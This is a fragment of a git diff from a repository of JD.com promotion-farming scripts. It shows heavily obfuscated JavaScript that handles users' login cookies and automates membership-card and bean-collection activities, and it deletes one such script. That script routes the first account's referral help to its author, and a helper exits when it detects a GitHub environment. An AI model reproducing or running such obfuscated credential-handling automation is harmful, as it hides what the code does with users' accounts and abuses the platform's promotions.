_0x3bdd98[_0x67b5('4f4')](_0xd7c19f);}};if(_0x3bdd98[_0x67b5('4f2')](_0x3bdd98[_0x67b5('4f5')],_0x3bdd98[_0x67b5('4f5')])){if($[_0x67b5('43')]){$[_0x67b5('2a')]=$[_0x67b5('43')];console[_0x67b5('7')](_0x67b5('108')+$[_0x67b5('2a')]);}else{console[_0x67b5('7')](_0x304ba0[_0x67b5('4f6')]);return;}}else{let _0x5a002d={'url':_0x67b5('3ca')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x67b5('2c3')](_0x5a002d,async(_0x43a601,_0x301d2e,_0x346619)=>{var _0x1d39ca={'xrnSS':function(_0x5e6ae2,_0x19f47a){return _0x304ba0[_0x67b5('4f7')](_0x5e6ae2,_0x19f47a);},'ppHAC':_0x304ba0[_0x67b5('4f8')],'fqCfm':function(_0x18d72c,_0x2be1ba){return _0x304ba0[_0x67b5('4f9')](_0x18d72c,_0x2be1ba);},'GzukI':_0x304ba0[_0x67b5('4fa')],'CbuBp':function(_0x3611e4,_0x26c9b7){return _0x304ba0[_0x67b5('4fb')](_0x3611e4,_0x26c9b7);},'AEpca':_0x304ba0[_0x67b5('4fc')],'KRNrm':function(_0x1a3ded,_0x4bc756){return _0x304ba0[_0x67b5('4fd')](_0x1a3ded,_0x4bc756);},'wbWqd':function(_0x317b7e,_0x5eb14f){return _0x304ba0[_0x67b5('4fe')](_0x317b7e,_0x5eb14f);}};if(_0x304ba0[_0x67b5('4fd')](_0x304ba0[_0x67b5('4ff')],_0x304ba0[_0x67b5('4ff')])){try{if(_0x304ba0[_0x67b5('4fd')](_0x304ba0[_0x67b5('500')],_0x304ba0[_0x67b5('500')])){if(_0x43a601){if(_0x304ba0[_0x67b5('501')](_0x304ba0[_0x67b5('502')],_0x304ba0[_0x67b5('502')])){msg='\x20'+res[_0x67b5('36')][_0x67b5('2a5')]+'京豆';}else{if(_0x301d2e[_0x67b5('152')]&&_0x304ba0[_0x67b5('503')](_0x301d2e[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x304ba0[_0x67b5('504')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x43a601));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('505'));}}else{let _0x33e2cd='';let _0x1aa8a2='';let _0x341da5=_0x301d2e[_0x304ba0[_0x67b5('506')]][_0x304ba0[_0x67b5('507')]]||_0x301d2e[_0x304ba0[_0x67b5('506')]][_0x304ba0[_0x67b5('508')]]||'';let _0x65b481='';if(_0x341da5){if(_0x304ba0[_0x67b5('4fd')](_0x304ba0[_0x67b5('509')],_0x304ba0[_0x67b5('50a')])){if(_0x1d39ca[_0x67b5('50b')](typeof _0x341da5,_0x1d39ca[_0x67b5('50c')])){_0x65b481=_0x341da5[_0x67b5('df')](',');}else _0x65b481=_0x341da5;for(let _0x4be46d of _0x65b481){let _0x21c3c1=_0x4be46d[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x21c3c1[_0x67b5('df')]('=')[0x1]){if(_0x1d39ca[_0x67b5('50d')](_0x21c3c1[_0x67b5('e2')](_0x1d39ca[_0x67b5('50e')]),-0x1))_0x33e2cd=_0x1d39ca[_0x67b5('50f')](_0x21c3c1[_0x67b5('98')](/ /g,''),';');if(_0x1d39ca[_0x67b5('50d')](_0x21c3c1[_0x67b5('e2')](_0x1d39ca[_0x67b5('510')]),-0x1))_0x1aa8a2=_0x1d39ca[_0x67b5('50f')](_0x21c3c1[_0x67b5('98')](/ /g,''),';');}}}else{if(_0x304ba0[_0x67b5('4f7')](typeof _0x341da5,_0x304ba0[_0x67b5('4f8')])){if(_0x304ba0[_0x67b5('511')](_0x304ba0[_0x67b5('512')],_0x304ba0[_0x67b5('512')])){console[_0x67b5('7')](_0x346619);}else{_0x65b481=_0x341da5[_0x67b5('df')](',');}}else _0x65b481=_0x341da5;for(let _0x3df06c of _0x65b481){let _0x590e3d=_0x3df06c[_0x67b5('df')](';')[0x0][_0x67b5('e0')]();if(_0x590e3d[_0x67b5('df')]('=')[0x1]){if(_0x304ba0[_0x67b5('513')](_0x590e3d[_0x67b5('e2')](_0x304ba0[_0x67b5('4fa')]),-0x1))_0x33e2cd=_0x304ba0[_0x67b5('4fb')](_0x590e3d[_0x67b5('98')](/ /g,''),';');if(_0x304ba0[_0x67b5('513')](_0x590e3d[_0x67b5('e2')](_0x304ba0[_0x67b5('4fc')]),-0x1))_0x1aa8a2=_0x304ba0[_0x67b5('4fb')](_0x590e3d[_0x67b5('98')](/ /g,''),';');}}}}if(_0x304ba0[_0x67b5('514')](_0x33e2cd,_0x1aa8a2))activityCookie=_0x33e2cd+'\x20'+_0x1aa8a2;}}else{if(_0x301d2e[_0x67b5('152')]&&_0x304ba0[_0x67b5('4fe')](_0x301d2e[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x304ba0[_0x67b5('504')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x43a601));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('505'));}}catch(_0x3cf317){if(_0x304ba0[_0x67b5('511')](_0x304ba0[_0x67b5('515')],_0x304ba0[_0x67b5('516')])){$[_0x67b5('4a')](_0x3cf317,_0x301d2e);}else{if(_0x1d39ca[_0x67b5('517')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){$[_0x67b5('285')]=res[_0x67b5('36')];}else if(_0x1d39ca[_0x67b5('518')](typeof res,_0x1d39ca[_0x67b5('50c')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](title+'\x20'+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x346619);}}}finally{if(_0x304ba0[_0x67b5('519')](_0x304ba0[_0x67b5('51a')],_0x304ba0[_0x67b5('51a')])){console[_0x67b5('7')](_0x67b5('3b9')+(res[_0x67b5('7e')]||''));}else{_0x304ba0[_0x67b5('51b')](_0x3db62b);}}}else{console[_0x67b5('7')](_0x67b5('2c9')+(_0x346619[_0x67b5('d4')][_0x67b5('2ca')][_0x67b5('2cb')]||''));$[_0x67b5('210')]=_0x346619[_0x67b5('d4')][_0x67b5('2cc')]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')]&&_0x346619[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')][_0x67b5('2c')]||'';}});}});}function taskPostUrl(_0x4843c3,_0x44e9c6){var _0x3fc558={'kyOlO':_0x67b5('51c'),'jDtGQ':_0x67b5('51d'),'eWOIW':_0x67b5('51e'),'atiNJ':_0x67b5('51f'),'uBMmk':_0x67b5('179'),'iWZwa':function(_0x2762af,_0xf1eaca){return _0x2762af+_0xf1eaca;},'DjoLN':function(_0x58f0d3,_0x2799c1){return _0x58f0d3+_0x2799c1;},'qjjpC':_0x67b5('520'),'hvDhq':_0x67b5('521'),'FGIey':_0x67b5('522')};return{'url':_0x67b5('521')+_0x4843c3,'body':_0x44e9c6,'headers':{'Accept':_0x3fc558[_0x67b5('523')],'Accept-Language':_0x3fc558[_0x67b5('524')],'Accept-Encoding':_0x3fc558[_0x67b5('525')],'Connection':_0x3fc558[_0x67b5('526')],'Content-Type':_0x3fc558[_0x67b5('527')],'Cookie':''+activityCookie+($[_0x67b5('77')]&&_0x3fc558[_0x67b5('528')](_0x3fc558[_0x67b5('529')](_0x3fc558[_0x67b5('52a')],$[_0x67b5('77')]),';')||'')+lz_jdpin_token,'Origin':_0x3fc558[_0x67b5('52b')],'X-Requested-With':_0x3fc558[_0x67b5('52c')],'Referer':_0x67b5('3ca')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'User-Agent':$['UA']}};}function getUA(){var _0x4b8d30={'yCEYj':function(_0xc517ed,_0xf34d3){return _0xc517ed(_0xf34d3);}};$['UA']=_0x67b5('10c')+_0x4b8d30[_0x67b5('52d')](randomString,0x28)+_0x67b5('10d');}function randomString(_0x58bbe8){var _0x4f993a={'dkFCq':function(_0x80dc1f,_0x1e37da){return _0x80dc1f||_0x1e37da;},'UxatU':_0x67b5('185'),'WEpTJ':function(_0x32f9eb,_0x52bb99){return _0x32f9eb<_0x52bb99;},'XAVRS':function(_0x1a3642,_0x348be4){return _0x1a3642*_0x348be4;}};_0x58bbe8=_0x4f993a[_0x67b5('52e')](_0x58bbe8,0x20);let _0x9d4d2b=_0x4f993a[_0x67b5('52f')],_0x169a23=_0x9d4d2b[_0x67b5('31')],_0x353307='';for(i=0x0;_0x4f993a[_0x67b5('530')](i,_0x58bbe8);i++)_0x353307+=_0x9d4d2b[_0x67b5('1b9')](Math[_0x67b5('1ba')](_0x4f993a[_0x67b5('531')](Math[_0x67b5('a1')](),_0x169a23)));return _0x353307;}function jsonParse(_0x32c2f0){var _0x45a9c5={'rsXAE':_0x67b5('113'),'VZiWw':function(_0x2a5bb8,_0x21a432){return _0x2a5bb8==_0x21a432;},'IRkYK':_0x67b5('3bb'),'xqHUB':function(_0x359098,_0x2da85e){return _0x359098!==_0x2da85e;},'OVzww':_0x67b5('532'),'CpZyJ':_0x67b5('4e')};if(_0x45a9c5[_0x67b5('533')](typeof _0x32c2f0,_0x45a9c5[_0x67b5('534')])){try{return JSON[_0x67b5('c5')](_0x32c2f0);}catch(_0x279b11){if(_0x45a9c5[_0x67b5('535')](_0x45a9c5[_0x67b5('536')],_0x45a9c5[_0x67b5('536')])){console[_0x67b5('7')](_0x45a9c5[_0x67b5('537')]);$[_0x67b5('15')]=!![];}else{console[_0x67b5('7')](_0x279b11);$[_0x67b5('21')]($[_0x67b5('22')],'',_0x45a9c5[_0x67b5('538')]);return[];}}}};_0xodQ='jsjiami.com.v6'; - - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard38.js b/backUp/gua_opencard38.js deleted file mode 100644 index 32c83ab..0000000 --- a/backUp/gua_opencard38.js +++ /dev/null @@ -1,74 +0,0 @@ -/* - * @Descripttion: - * @version: - * @Author: sueRimn - * @Date: 2021-09-24 16:22:49 - * @LastEditors: sueRimn - * @LastEditTime: 2021-09-26 15:05:56 - */ -/* -9.23~9.28 婴乐家宠粉日 [gua_opencard38.js] -新增开卡脚本 (脚本已加密 -一次性脚本 - -邀请一人20豆(有可能没有豆 -开6张卡 每张可能获得40京豆(有可能有抽到空气💨 -关注20京豆 (有可能是空气💨 -加购30京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku38]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard38="true" -每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒 -guaopenwait_All 所有 -guaopenwait38="0" - - -All变量适用 -———————————————— -入口:[ 9.23~9.28 婴乐家宠粉日 (https://3.cn/102XBy-b2)] - -请求太频繁会被黑ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#9.23~9.28 婴乐家宠粉日 -47 4 23-28 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js, tag=9.23~9.28 婴乐家宠粉日, enabled=true - -================Loon============== -[Script] -cron "47 4 23-28 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js,tag=9.23~9.28 婴乐家宠粉日 - -===============Surge================= -9.23~9.28 婴乐家宠粉日 = type=cron,cronexp="47 4 23-28 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js - -============小火箭========= -9.23~9.28 婴乐家宠粉日 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard38.js, cronexpr="47 4 23-28 9 *", timeout=3600, enable=true - - - -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" -let guaopenwait = "0" - -const $ = new Env('9.23~9.28 婴乐家宠粉日'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie - -var _0xodN='jsjiami.com.v6',_0x4384=[_0xodN,'\x69\x73\x4e\x6f\x64\x65','\x6b\x65\x79\x73','\x66\x6f\x72\x45\x61\x63\x68','\x70\x75\x73\x68','\x65\x6e\x76','\x4a\x44\x5f\x44\x45\x42\x55\x47','\x66\x61\x6c\x73\x65','\x6c\x6f\x67','\x67\x65\x74\x64\x61\x74\x61','\x43\x6f\x6f\x6b\x69\x65\x4a\x44','\x43\x6f\x6f\x6b\x69\x65\x4a\x44\x32','\x43\x6f\x6f\x6b\x69\x65\x73\x4a\x44','\x6d\x61\x70','\x63\x6f\x6f\x6b\x69\x65','\x66\x69\x6c\x74\x65\x72','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x33\x38','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x5f\x41\x6c\x6c','\x68\x6f\x74\x46\x6c\x61\x67','\x6f\x75\x74\x46\x6c\x61\x67','\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6e\x64','\x74\x72\x75\x65','\u5982\u9700\u6267\u884c\u811a\u672c\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x33\x38\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x6d\x73\x67','\x6e\x61\x6d\x65','\u3010\u63d0\u793a\u3011\u8bf7\u5148\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\x0a\u76f4\u63a5\u4f7f\u7528\x4e\x6f\x62\x79\x44\x61\u7684\u4eac\u4e1c\u7b7e\u5230\u83b7\u53d6','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x65\x61\x6e\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f','\x61\x70\x70\x6b\x65\x79','\x35\x31\x42\x35\x39\x42\x42\x38\x30\x35\x39\x30\x33\x44\x41\x34\x43\x45\x35\x31\x33\x44\x32\x39\x45\x43\x34\x34\x38\x33\x37\x35','\x75\x73\x65\x72\x49\x64','\x31\x30\x32\x39\x39\x31\x37\x31','\x61\x63\x74\x49\x64','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x5f\x37\x38\x38','\x4d\x69\x78\x4e\x69\x63\x6b\x73','\x39\x44\x35\x45\x34\x46\x44\x30\x34\x36\x41\x41\x34\x36\x43\x45\x39\x33\x33\x36\x39\x31\x45\x30\x42\x31\x33\x32\x45\x45\x46\x44\x41\x30\x41\x32\x43\x33\x45\x46\x33\x36\x45\x35\x33\x43\x38\x30\x42\x38\x38\x39\x37\x31\x44\x33\x46\x32\x42\x31\x32\x30\x43\x42\x38\x46\x44\x45\x38\x43\x31\x33\x30\x30\x41\x46\x30\x32\x42\x41\x46\x43\x34\x46\x35\x36\x37\x42\x33\x37\x34\x33\x31\x41\x39\x33\x34\x44\x44\x35\x42\x32\x43\x30\x45\x44\x41\x46\x44\x44\x46\x30\x41\x36\x37\x35\x32\x33\x44\x36\x45\x30\x41\x37\x31\x46\x36\x37\x32\x43\x41\x39\x32\x36\x36\x46\x41\x35\x41\x46\x38\x39\x36\x38\x46\x42\x37\x38\x39\x32\x34\x33\x39\x37\x33\x31\x33\x32\x33\x31\x35\x46\x38\x46\x44\x30\x45\x43\x39\x39\x35\x32\x41\x31\x32\x35\x34\x30\x45\x39\x39\x43\x37\x44\x31\x42\x34\x36\x36\x39\x35\x43','\x69\x6e\x76\x69\x74\x65\x4e\x69\x63\x6b','\x34\x41\x35\x35\x43\x31\x43\x30\x38\x36\x39\x43\x37\x35\x30\x36\x31\x44\x31\x31\x43\x44\x44\x43\x39\x46\x31\x39\x36\x33\x31\x41\x33\x33\x31\x41\x30\x33\x46\x37\x36\x33\x42\x44\x34\x33\x35\x32\x45\x37\x46\x43\x39\x39\x37\x38\x37\x42\x33\x30\x46\x42\x44\x33\x34\x39\x33\x33\x36\x44\x45\x35\x34\x45\x32\x36\x41\x41\x38\x46\x32\x38\x33\x34\x42\x32\x34\x38\x45\x36\x33\x39\x38\x43\x42\x37\x41\x37\x35\x35\x44\x46\x34\x46\x44\x41\x45\x35\x38\x35\x45\x43\x33\x45\x31\x41\x42\x45\x32\x36\x46\x33\x44\x44\x33\x43\x46\x46\x43\x39\x35\x36\x44\x31\x32\x39\x37\x34\x46\x46\x30\x30\x41\x30\x34\x35\x44\x38\x45\x33\x31\x41\x38\x34\x46\x45\x38\x34\x43\x31\x38\x41\x38\x33\x35\x37\x44\x45\x39\x36\x41\x31\x46\x36\x31\x37\x42\x38\x41\x43\x34\x44\x36\x34\x42\x43\x32\x34\x42\x36\x38\x39','\x6c\x65\x6e\x67\x74\x68','\x55\x73\x65\x72\x4e\x61\x6d\x65','\x6d\x61\x74\x63\x68','\x69\x6e\x64\x65\x78','\x62\x65\x61\x6e','\x6e\x69\x63\x6b\x4e\x61\x6d\x65','\x0a\x0a\x2a\x2a\x2a\x2a\x2a\x2a\u5f00\u59cb\u3010\u4eac\u4e1c\u8d26\u53f7','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a','\x4d\x69\x78\x4e\x69\x63\x6b','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c','\x73\x65\x6e\x64\x4e\x6f\x74\x69\x66\x79','\x63\x61\x74\x63\x68','\x6c\x6f\x67\x45\x72\x72','\x66\x69\x6e\x61\x6c\x6c\x79','\x64\x6f\x6e\x65','\x68\x61\x73\x45\x6e\x64','\x65\x6e\x64\x54\x69\x6d\x65','\x54\x6f\x6b\x65\x6e','\x50\x69\x6e','\x68\x6f\x77\x4d\x61\x6e\x79\x4f\x70\x65\x6e\x43\x61\x72\x64','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c\x0a','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\u83b7\u53d6\x5b\x74\x6f\x6b\x65\x6e\x5d\u5931\u8d25\uff01','\x73\x65\x74\x4d\x69\x78\x4e\x69\x63\x6b','\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\u5931\u8d25','\x74\x6f\x42\x69\x6e\x64','\x6c\x6f\x61\x64\x55\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64','\u6d3b\u52a8\u4fe1\u606f\u83b7\u53d6\u5931\u8d25','\x6e\x6f\x77','\u6d3b\u52a8\u7ed3\u675f','\u5f00\u5361\x28','\x69\x73\x4f\x70\x65\x6e\x43\x61\x72\x64','\x4f\x70\x65\x6e\x43\x61\x72\x64\x4c\x69\x73\x74','\x73\x68\x6f\x70\x4c\x69\x73\x74','\x77\x61\x69\x74','\x72\x61\x6e\x64\x6f\x6d','\x6f\x70\x65\x6e\x53\x68\x6f\x70\x49\x64','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72','\x75\x6e\x69\x74\x65\x4f\x70\x65\x6e\x43\x61\x72\x64\x4f\x6e\x65','\x73\x68\x6f\x70\x54\x69\x74\x6c\x65','\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64','\x73\x68\x6f\x70\x49\x64','\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\u5982\u9700\u52a0\u8d2d\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x33\x38\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x61\x64\x64\x43\x61\x72\x74','\x6d\x79\x41\x77\x61\x72\x64','\x6d\x69\x73\x73\x69\x6f\x6e\x49\x6e\x76\x69\x74\x65\x4c\x69\x73\x74','\u5f53\u524d\u52a9\u529b\x3a','\u540e\u9762\u7684\u53f7\u90fd\u4f1a\u52a9\u529b\x3a','\u4f11\u606f\x31\u5206\u949f\uff0c\u522b\u88ab\u9ed1\x69\x70\u4e86\x0a\u53ef\u6301\u7eed\u53d1\u5c55','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6a\x69\x6e\x67\x67\x65\x6e\x67\x6a\x63\x71\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d','\x50\x4f\x53\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x66\